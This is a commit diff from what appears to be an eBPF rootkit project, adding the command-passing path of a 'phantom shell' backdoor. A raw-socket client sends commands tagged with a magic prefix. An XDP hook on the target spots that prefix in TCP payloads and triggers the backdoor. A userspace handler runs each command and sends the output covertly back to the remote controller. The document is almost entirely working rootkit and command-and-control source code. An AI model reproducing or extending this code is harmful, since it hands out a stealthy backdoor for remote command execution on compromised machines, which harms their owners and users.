Completed command passing for phantom shell

This commit is contained in:
h3xduck
2022-05-15 14:44:16 -04:00
parent ad4f9b2504
commit d509f20974
11 changed files with 3796 additions and 2953 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -111,7 +111,7 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
}
char* request = calloc(4096, sizeof(char));
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
strcpy(request, CC_PROT_PHANTOM_COMMAND_REQUEST);
strcat(request, buf);
packet_t packet;
pid_t pid = fork();
@@ -120,7 +120,6 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
return 1;
}
if(pid==0){
sleep(5);
packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
//printf("Sending %s\n", msg);
if(rawsocket_send(packet)<0){
@@ -129,11 +128,12 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
}
exit(0);
}
sleep(5);
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
packet = rawsocket_sniff_pattern(CC_PROT_BASELINE);
char* res = packet.payload;
//TODO make the shell to fork and wait for response, but accept new requests meanwhile
if(strncmp(res, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
if(strncmp(res, CC_PROT_PHANTOM_COMMAND_RESPONSE, strlen(CC_PROT_PHANTOM_COMMAND_RESPONSE))==0){
//Received a response
char *p;
p = strtok(buf, "#");

Binary file not shown.

Binary file not shown.

View File

@@ -29,7 +29,11 @@
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
//Phantom shell
#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
#define CC_PROT_PHANTOM_COMMAND_REQUEST "CC_PHAN_RQ#"
#define CC_PROT_PHANTOM_COMMAND_RESPONSE "CC_PHAN_RS#"
#define CC_PROT_PHANTOM_COMMAND_MAX_LEN 8
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
struct trigger_32_t {

View File

@@ -10,7 +10,7 @@
#include "../../../common/c&c.h"
#include "../bpf/defs.h"
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port){
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port, char* optional_payload, int optional_payload_size){
int pid = -1; //Received by network stack, just ignore
switch(command_received){
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
@@ -36,8 +36,14 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
struct backdoor_phantom_shell_data ps_new_data = {0};
ps_new_data.active = 1;
ps_new_data.d_ip = ip;
ps_new_data.d_port = port;
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
ps_new_data.d_port = port;
if(optional_payload_size == 0){
//First phantom init msg
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
}else{
__builtin_memcpy(ps_new_data.payload, optional_payload, optional_payload_size);
}
ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
break;
@@ -169,7 +175,7 @@ backdoor_finish:
__u32 ip = s_ip;
__u16 port = s_port;
execute_key_command(command_received, ip, port);
execute_key_command(command_received, ip, port, NULL, 0);
//return XDP_PASS;
return XDP_DROP;
@@ -296,7 +302,7 @@ backdoor_finish_v3_32:
return 0;
}
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
execute_key_command(command_received, 0, 0);
execute_key_command(command_received, 0, 0, NULL, 0);
return 1;
}
@@ -441,7 +447,7 @@ backdoor_finish_v3_16:
return 0;
}
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
execute_key_command(command_received, 0, 0);
execute_key_command(command_received, 0, 0, NULL, 0);
return 1;
}

View File

@@ -50,6 +50,42 @@ struct eth_hdr {
unsigned short h_proto;
};
/**
* @brief Checks for the packet to be a phantom request
* Returns 1 if it wants to stop the XDP pipeline.
*
* @param payload
* @param payload_size
* @param data_end
* @param ip
* @param tcp
* @return __always_inline
*/
static __always_inline int check_phantom_payload(char* payload, int payload_size, void* data_end, struct iphdr* ip, struct tcphdr* tcp){
if (tcp_payload_bound_check(payload, payload_size, data_end)){
bpf_printk("G");
return XDP_PASS;
}
bpf_printk("Detected possible phantom shell command\n");
//Check if phantom shell command
char phantom_request[] = CC_PROT_PHANTOM_COMMAND_REQUEST;
int is_phantom_request = 1;
for(int ii=0; ii<sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)-1; ii++){
if(phantom_request[ii] != payload[ii]){
is_phantom_request = 0;
//bpf_printk("Not phantom: %s\n", payload);
break;
}
}
if(is_phantom_request == 1){
execute_key_command(CC_PROT_COMMAND_PHANTOM_SHELL, ip->saddr, tcp->source, payload, payload_size);
return 1;
}
bpf_printk("Not phantom shell\n");
return 0;
}
SEC("xdp_prog")
int xdp_receive(struct xdp_md *ctx){
@@ -98,6 +134,34 @@ int xdp_receive(struct xdp_md *ctx){
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = (void *)tcp + tcp->doff*4;
int ret_value = -1;
//Yes, the verifier gets a bit angry when trying working with intervals in the payload
//A chained if is also not good. A macro could be added for this kind of cases.
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+1){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+2){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+3){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+4){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+5){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+6){
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
}
if(ret_value == 1){
return XDP_PASS;
}
//Check for the rootkit backdoor trigger V1
if(payload_size == CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE){
if (tcp_payload_bound_check(payload, payload_size, data_end)){

BIN
src/tc.o

Binary file not shown.

View File

@@ -144,10 +144,42 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
printf("Failed to read the shared map\n");
return -1;
}
printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
printf("Pre value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
data.active = e->bps_data.active;
data.d_ip = e->bps_data.d_ip;
data.d_port = e->bps_data.d_port;
if(strncmp(e->bps_data.payload, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))!=0){
//Means that we invoked the command with another payload, thus this is not the first call
//We are tasked with first trying to execute the command
printf("Executing requested command: \n%s\n", e->bps_data.payload);
char *p;
char* buf = calloc(4096, sizeof(char));
strcpy(buf, e->bps_data.payload);
p = strtok((char*)buf, "#");
p = strtok(NULL, "#");
if (p) {
//printf("Executing command: %s\n", p);
char *res = execute_command((char*)p);
char *response = calloc(4096, sizeof(char));
if(res==NULL){
strcpy(response, CC_PROT_ERR);
}else{
strcpy(response, CC_PROT_PHANTOM_COMMAND_RESPONSE);
strcat(response, res);
}
//printf("Answering to phantom shell: \n%s\n", response);
memcpy(data.payload, response, 64);
free(response);
free(buf);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else{
printf("Failed to parse command\n");
return -1;
}
}
//Init connection with phantom shell
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);